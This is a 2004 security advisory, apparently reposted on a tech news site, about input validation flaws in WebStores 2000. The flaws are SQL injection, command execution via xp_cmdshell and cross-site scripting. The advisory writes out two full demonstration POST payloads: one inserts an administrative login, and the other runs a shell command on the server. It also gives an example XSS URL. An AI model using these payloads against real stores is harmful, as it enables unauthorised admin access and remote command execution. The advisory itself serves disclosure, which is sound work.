Main Menu
Network
Sponsor
Top 10 Sites
Partners
|
|
Top Submit newsSubscribe  Communication | Computer Crime | Digital Audio, Video, Photo | General News | Hardware | Internet | Mobile | PDA | Security | Software | Vulnerability |
Previous articleBack to news listNext article | Sponsored links | Want to become one of our authors and see your work published on ALLSeek.iNFO ? | | Webstores 2000 Has More Input Validation Flaws in 'browser_item_details.asp' That Let Remote Users Inject SQL Commands and Execu |
|---|
Categorie: Vulnerability Posted: 2004-02-19 by ReCall Views: 387 Source: Click here | Current Rating: Not rated
|
| | Details |
|---|
Description: Some input validation vulnerabilities were reported in WebStores 2000. A remote user can inject SQL commands and execute arbitrary operating system commands on the target system. A remote user can also conduct cross-site scripting attacks.
S-Quadra reported some additional variables in the 'browse_item_details.asp' script that are not properly validated. A remote user can supply specially crafted data to inject SQL commands to be executed by the underlying database. [Editor's note: In June 2003, 1ndonesian Security Team reported that SQL injection was possible via the 'Item_id' variable; see Alert ID 1006893.]
It is reported that a remote user can gain administrative access on the application and can execute arbitrary operating system commands via the xp_cmdshell function.
Some demonstration exploit URLs are provided [the first adds a new administrative account and the second executes 'dir c:' on the target system]:
Search_Text=&Search_Dept=1&SEARCH_MINPRICE=&SEARCH_MAXPRICE=&SEARCH_SKU=%25%27+AND+Store_Items.Show+%3C%3E+0+AND+Store_Item_Ke yword.Store_id%3D1000+and+Store_Items.Store_id%3D1000+GROUP+BY+Store_Items.Quantity_Minimum%2C+Store_Items.U_d_1_name%2C+
Store_Items.U_d_2_name%2CStore_Items.U_d_3_name %2CStore_Items.U_d_4_name%2C+Store_Item_Keyword.Item_Id%2CStore_Items.Item_Sku%2C+Store_Items.Item_Name%2C+Store_Items.Retail_Price%2C+Store_Items.ImageS_id%2C+Store_Item s.Item_Weight%2C+Store_Items.Q
uantity_in_stock%2C+Store_Items.Quantity_Control_Number%2C+Store_Items.Retail_Price_special_Discount%2C+Store_Items.Special_start_date%2C+ Store_Items.Special_end_date+ORDER+BY+Count%28Store_Item_Keyword.Item_Id%29+DESC%3Binsert+into+Mall_Logins+%2
8Mall_User_Id%2C+Mall_Password%29+values+%281%2C2%29--&Sear ch_Store.x=0&Search_Store.y=0
Posting this data to browse_items.asp executes 'dir c:' command
Search_Text=&Search_Dept=1&SEARCH_MINPRICE=&SEARCH_MAXPRICE=&SEARCH_ SKU=%25%27+AND+Store_Items.Show+%3C%3E+0+AND+Store_Item_Keyword.Store_id%3D1000+and+Store_Items.Store_id%3D1000+GROUP+BY+Store_Items.Quantity_Minimum%2C+Store_Items.U_d_1 _name%2C+
Store_Items.U_d_2_name%2CStore_Items.U_d_3_name%2CStore_Items.U_d_4_name%2C+Store_Item_Keyword.Item_Id%2CStore_Items.Item_Sku%2C+Store_Items.Item_Name%2C+Store _Items.Retail_Price%2C+Store_Items.ImageS_id%2C+Store_Items.Item_Weight%2C+Store_Items.Q
uantity_in_stock%2C+Store_Items.Quantity_Control_Number%2C+Store_Items.Retail_Pr ice_special_Discount%2C+Store_Items.Special_start_date%2C+Store_Items.Special_end_date+ORDER+BY+Count%28Store_Item_Keyword.Item_Id%29+DESC%3Bexec+master..xp_cmdshell+%
2 7dir+c%3A+%3E+c%3A%5Cresdirc.txt%27--&Search_Store.x=39&Search_Store.y=4
It is also reported that the 'error.asp' script does not filter HTML code from user-supplied input before displaying the information. A remote user can create a specially crafted URL that, when loaded by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the site running the WebStores 2000 software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user. A demonstration exploit URL is provided:
http://[target]/error.asp?Message_id=35
The vendor was reportedly notified on February 13, 2004.
Impact: A remote user can execute arbitrary SQL commands and arbitrary operating system commands on the target system.
A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the WebStores 2000 software, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
Solution: The vendor has reportedly fixed the flaws.
[Editor's note: We did not find any notice of the fix on the vendor's public web site.] | | Syndication |
|---|
Permalink Email this
The URI to TrackBack this entry is: http://allseek.info/news/trackback.php?id=732
| | User comments (post your comments ) |
|---|
Only registerd members can post comments and articles |
| Previous articleBack to news listNext article |
|
|
|

InterJOB.su
|